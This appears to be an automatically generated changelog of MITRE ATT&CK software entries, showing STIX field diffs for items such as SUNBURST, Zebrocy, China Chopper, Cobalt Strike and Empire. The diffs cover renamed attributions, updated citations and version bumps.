| > | org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017 | > | .org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 201 | ||
| > | ) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:08:50.209000+00:00 | 2021-04-23 20:29:59.216000+00:00 |
| description | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017) | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017) |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sunburst](https://attack.mitre.org/software/S0559) is a tro | t | 1 | [SUNBURST](https://attack.mitre.org/software/S0559) is a tro |
| > | janized DLL designed to fit within the SolarWinds Orion soft | > | janized DLL designed to fit within the SolarWinds Orion soft | ||
| > | ware update framework. It was used by [UNC2452](https://atta | > | ware update framework. It was used by [APT29](https://attack | ||
| > | ck.mitre.org/groups/G0118) since at least February 2020.(Cit | > | .mitre.org/groups/G0016) since at least February 2020.(Citat | ||
| > | ation: SolarWinds Sunburst Sunspot Update January 2021)(Cita | > | ion: SolarWinds Sunburst Sunspot Update January 2021)(Citati | ||
| > | tion: Microsoft Deep Dive Solorigate January 2021) | > | on: Microsoft Deep Dive Solorigate January 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-25 17:27:10.483000+00:00 | 2021-04-24 22:36:06.030000+00:00 |
| name | Sunburst | SUNBURST |
| description | [Sunburst](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [UNC2452](https://attack.mitre.org/groups/G0118) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021) | [SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021) |
| external_references[1]['source_name'] | Sunburst | SUNBURST |
| external_references[2]['source_name'] | SolarWinds Sunburst Sunspot Update January 2021 | Solorigate |
| external_references[2]['description'] | Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021. | (Citation: Microsoft Deep Dive Solorigate January 2021) |
| external_references[3]['source_name'] | Microsoft Deep Dive Solorigate January 2021 | SolarWinds Sunburst Sunspot Update January 2021 |
| external_references[3]['description'] | MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021. | Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021. |
| external_references[3]['url'] | https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/ | https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/ |
| external_references[4]['source_name'] | FireEye SUNBURST Backdoor December 2020 | Microsoft Deep Dive Solorigate January 2021 |
| external_references[4]['description'] | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. | MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html | https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/ |
| x_mitre_aliases[0] | Sunburst | SUNBURST |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye SUNBURST Backdoor December 2020', 'description': 'FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'} | |
| x_mitre_aliases | Solorigate |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj | t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj |
| > | an that has been used by [APT28](https://attack.mitre.org/gr | > | an that has been used by [APT28](https://attack.mitre.org/gr | ||
| > | oups/G0007) since at least November 2015. The malware comes | > | oups/G0007) since at least November 2015. The malware comes | ||
| > | in several programming language variants, including C++, Del | > | in several programming language variants, including C++, Del | ||
| > | phi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06- | > | phi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto So | ||
| > | 2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sof | > | facy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Un | ||
| > | acy Dec 2018) | > | it42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:06:29.968000+00:00 | 2021-04-23 19:45:36.003000+00:00 |
| description | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018) | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) |
| external_references[6]['source_name'] | CyberScoop APT28 Nov 2018 | CISA Zebrocy Oct 2020 |
| external_references[6]['description'] | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. | CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020. |
| external_references[6]['url'] | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b |
| external_references[7]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | CyberScoop APT28 Nov 2018 |
| external_references[7]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. |
| external_references[7]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Accenture SNAKEMACKEREL Nov 2018', 'description': 'Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.', 'url': 'https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 23:41:03.616000+00:00 | 2021-04-21 02:04:30.060000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:06:31.915000+00:00 | 2021-03-12 17:26:12.324000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:43:34.069000+00:00 | 2021-04-26 15:59:03.034000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:32:10.278000+00:00 | 2021-04-25 15:46:06.354000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is | t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is |
| > | a [Web Shell](https://attack.mitre.org/techniques/T1100) hos | > | a [Web Shell](https://attack.mitre.org/techniques/T1505/003) | ||
| > | ted on Web servers to provide access back into an enterprise | > | hosted on Web servers to provide access back into an enterp | ||
| > | network that does not rely on an infected system calling ba | > | rise network that does not rely on an infected system callin | ||
| > | ck to a remote command and control server. (Citation: Lee 20 | > | g back to a remote command and control server. (Citation: Le | ||
| > | 13) It has been used by several threat groups. (Citation: De | > | e 2013) It has been used by several threat groups. (Citation | ||
| > | ll TG-3390) (Citation: FireEye Periscope March 2018) | > | : Dell TG-3390) (Citation: FireEye Periscope March 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:20:49.892000+00:00 | 2021-04-23 19:53:58.719000+00:00 |
| description | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.6
Version changed from: 1.5 → 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Cobalt Strike](https://attack.mitre.org/software/S0154) is | t | 1 | [Cobalt Strike](https://attack.mitre.org/software/S0154) is |
| > | a commercial, full-featured, penetration testing tool which | > | a commercial, full-featured, remote access tool that bills i | ||
| > | bills itself as “adversary simulation software designed to e | > | tself as “adversary simulation software designed to execute | ||
| > | xecute targeted attacks and emulate the post-exploitation ac | > | targeted attacks and emulate the post-exploitation actions o | ||
| > | tions of advanced threat actors”. Cobalt Strike’s interactiv | > | f advanced threat actors”. Cobalt Strike’s interactive post- | ||
| > | e post-exploit capabilities cover the full range of ATT&CK t | > | exploit capabilities cover the full range of ATT&CK tactics, | ||
| > | actics, all executed within a single, integrated system. (Ci | > | all executed within a single, integrated system.(Citation: | ||
| > | tation: cobaltstrike manual) In addition to its own capabil | > | cobaltstrike manual) In addition to its own capabilities, [ | ||
| > | ities, [Cobalt Strike](https://attack.mitre.org/software/S01 | > | Cobalt Strike](https://attack.mitre.org/software/S0154) leve | ||
| > | 54) leverages the capabilities of other well-known tools suc | > | rages the capabilities of other well-known tools such as Met | ||
| > | h as Metasploit and [Mimikatz](https://attack.mitre.org/soft | > | asploit and [Mimikatz](https://attack.mitre.org/software/S00 | ||
| > | ware/S0002). (Citation: cobaltstrike manual) | > | 02).(Citation: cobaltstrike manual) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 13:33:17.392000+00:00 | 2021-04-24 23:29:30.707000+00:00 |
| description | [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual) | [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual) |
| x_mitre_version | 1.5 | 1.6 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Martin Sohn Christensen, Improsec |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 14:40:26.004000+00:00 | 2020-12-23 19:34:12.017000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b | t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b |
| > | ackdoor targeting Linux operating systems. Attackers require | > | ackdoor targeting Linux operating systems. Attackers require | ||
| > | root-level access, which allows them to replace SSH binarie | > | root-level access, which allows them to replace SSH binarie | ||
| > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | ||
| > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | ||
| > | ation: BleepingComputer Ebury March 2017) | > | ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu | ||
| > | ry Oct 2017) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:25:38.692000+00:00 | 2021-04-23 22:56:14.591000+00:00 |
| description | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017) | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017) |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Ebury Oct 2017', 'description': 'Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.', 'url': 'https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open | t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open |
| > | source, cross-platform remote administration and post-explo | > | source, cross-platform remote administration and post-explo | ||
| > | itation framework that is publicly available on GitHub. Whil | > | itation framework that is publicly available on GitHub. Whil | ||
| > | e the tool itself is primarily written in Python, the post-e | > | e the tool itself is primarily written in Python, the post-e | ||
| > | xploitation agents are written in pure [PowerShell](https:// | > | xploitation agents are written in pure [PowerShell](https:// | ||
| > | attack.mitre.org/techniques/T1086) for Windows and Python fo | > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | ||
| > | r Linux/macOS. [Empire](https://attack.mitre.org/software/S0 | > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | ||
| > | 363) was one of five tools singled out by a joint report on | > | e/S0363) was one of five tools singled out by a joint report | ||
| > | public hacking tools being widely used by adversaries.(Citat | > | on public hacking tools being widely used by adversaries.(C | ||
| > | ion: NCSC Joint Report Public Tools)(Citation: Github PowerS | > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | ||
| > | hell Empire)(Citation: GitHub ATTACK Empire) | > | werShell Empire)(Citation: GitHub ATTACK Empire) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:08:26.536000+00:00 | 2021-04-09 14:53:15.168000+00:00 |
| description | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| external_references[4]['url'] | https://github.com/PowerShellEmpire/Empire | https://github.com/EmpireProject/Empire |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:22:06.314000+00:00 | 2021-04-02 00:14:13.954000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:08:21.639000+00:00 | 2021-04-14 22:43:50.451000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:45:20.126000+00:00 | 2021-04-23 20:01:10.366000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:11:27.347000+00:00 | 2020-11-06 15:24:20.400000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:34:33.810000+00:00 | 2020-12-04 21:07:22.870000+00:00 |
| external_references[2]['description'] | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017) | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Crutch December 2020', 'description': 'Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020.', 'url': 'https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-24 20:32:54.936000+00:00 | 2021-04-23 20:04:19.262000+00:00 |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 18:01:53.826000+00:00 | 2021-04-23 20:07:01.487000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware | t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware |
| > | that has been used by [Axiom](https://attack.mitre.org/group | > | that has been used by [Axiom](https://attack.mitre.org/group | ||
| > | s/G0001) for late-stage persistence and exfiltration after t | > | s/G0001) for late-stage persistence and exfiltration after t | ||
| > | he initial compromise. (Citation: Novetta-Axiom) (Citation: | > | he initial compromise.(Citation: Novetta-Axiom)(Citation: Fi | ||
| > | FireEye Hikit Rootkit) | > | reEye Hikit Rootkit) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 20:37:29.986000+00:00 | 2021-04-23 01:52:58.448000+00:00 |
| description | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom) (Citation: FireEye Hikit Rootkit) | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 21:15:48.610000+00:00 | 2020-12-02 21:20:50.906000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 15:47:20.122000+00:00 | 2020-11-23 18:34:49.979000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:04:12.674000+00:00 | 2021-02-09 15:10:55.563000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ | t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ |
| > | icly available, multiplatform remote administration tool (RA | > | icly available, multiplatform remote administration tool (RA | ||
| > | T) that has been used by criminal and APT groups since at le | > | T) that has been used by criminal and APT groups since at le | ||
| > | ast 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McA | > | ast 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAf | ||
| > | fee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept | > | ee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2 | ||
| > | 2017) | > | 017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Tony Lambert, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:42:49.250000+00:00 | 2021-04-25 23:47:00.562000+00:00 |
| description | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017) | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017) |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i | t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i |
| > | s a component of the Windows operating system. It is used in | > | s a component of the Windows operating system. It is used in | ||
| > | command-line operations for control of users, groups, servi | > | command-line operations for control of users, groups, servi | ||
| > | ces, and network connections. (Citation: Microsoft Net Utili | > | ces, and network connections. (Citation: Microsoft Net Utili | ||
| > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | ||
| > | eat deal of functionality, (Citation: Savill 1999) much of w | > | eat deal of functionality, (Citation: Savill 1999) much of w | ||
| > | hich is useful for an adversary, such as gathering system an | > | hich is useful for an adversary, such as gathering system an | ||
| > | d network information for Discovery, moving laterally throug | > | d network information for Discovery, moving laterally throug | ||
| > | h [Windows Admin Shares](https://attack.mitre.org/techniques | > | h [SMB/Windows Admin Shares](https://attack.mitre.org/techni | ||
| > | /T1077) using <code>net use</code> commands, and interacting | > | ques/T1021/002) using <code>net use</code> commands, and int | ||
| > | with services. The net1.exe utility is executed for certain | > | eracting with services. The net1.exe utility is executed for | ||
| > | functionality when net.exe is run and can be used directly | > | certain functionality when net.exe is run and can be used d | ||
| > | in commands such as <code>net1 user</code>. | > | irectly in commands such as <code>net1 user</code>. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 13:14:50.240000+00:00 | 2021-04-23 20:17:30.467000+00:00 |
| description | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 13:56:40.675000+00:00 | 2021-01-06 19:32:28.390000+00:00 |
| external_references[5]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an | t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an |
| > | open source, offensive security framework comprised of [Pow | > | open source, offensive security framework comprised of [Pow | ||
| > | erShell](https://attack.mitre.org/techniques/T1086) modules | > | erShell](https://attack.mitre.org/techniques/T1059/001) modu | ||
| > | and scripts that perform a wide range of tasks related to pe | > | les and scripts that perform a wide range of tasks related t | ||
| > | netration testing such as code execution, persistence, bypas | > | o penetration testing such as code execution, persistence, b | ||
| > | sing anti-virus, recon, and exfiltration. (Citation: GitHub | > | ypassing anti-virus, recon, and exfiltration. (Citation: Git | ||
| > | PowerSploit May 2012) (Citation: PowerShellMagazine PowerSpl | > | Hub PowerSploit May 2012) (Citation: PowerShellMagazine Powe | ||
| > | oit July 2014) (Citation: PowerSploit Documentation) | > | rSploit July 2014) (Citation: PowerSploit Documentation) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:37:30.172000+00:00 | 2021-02-09 14:00:16.093000+00:00 |
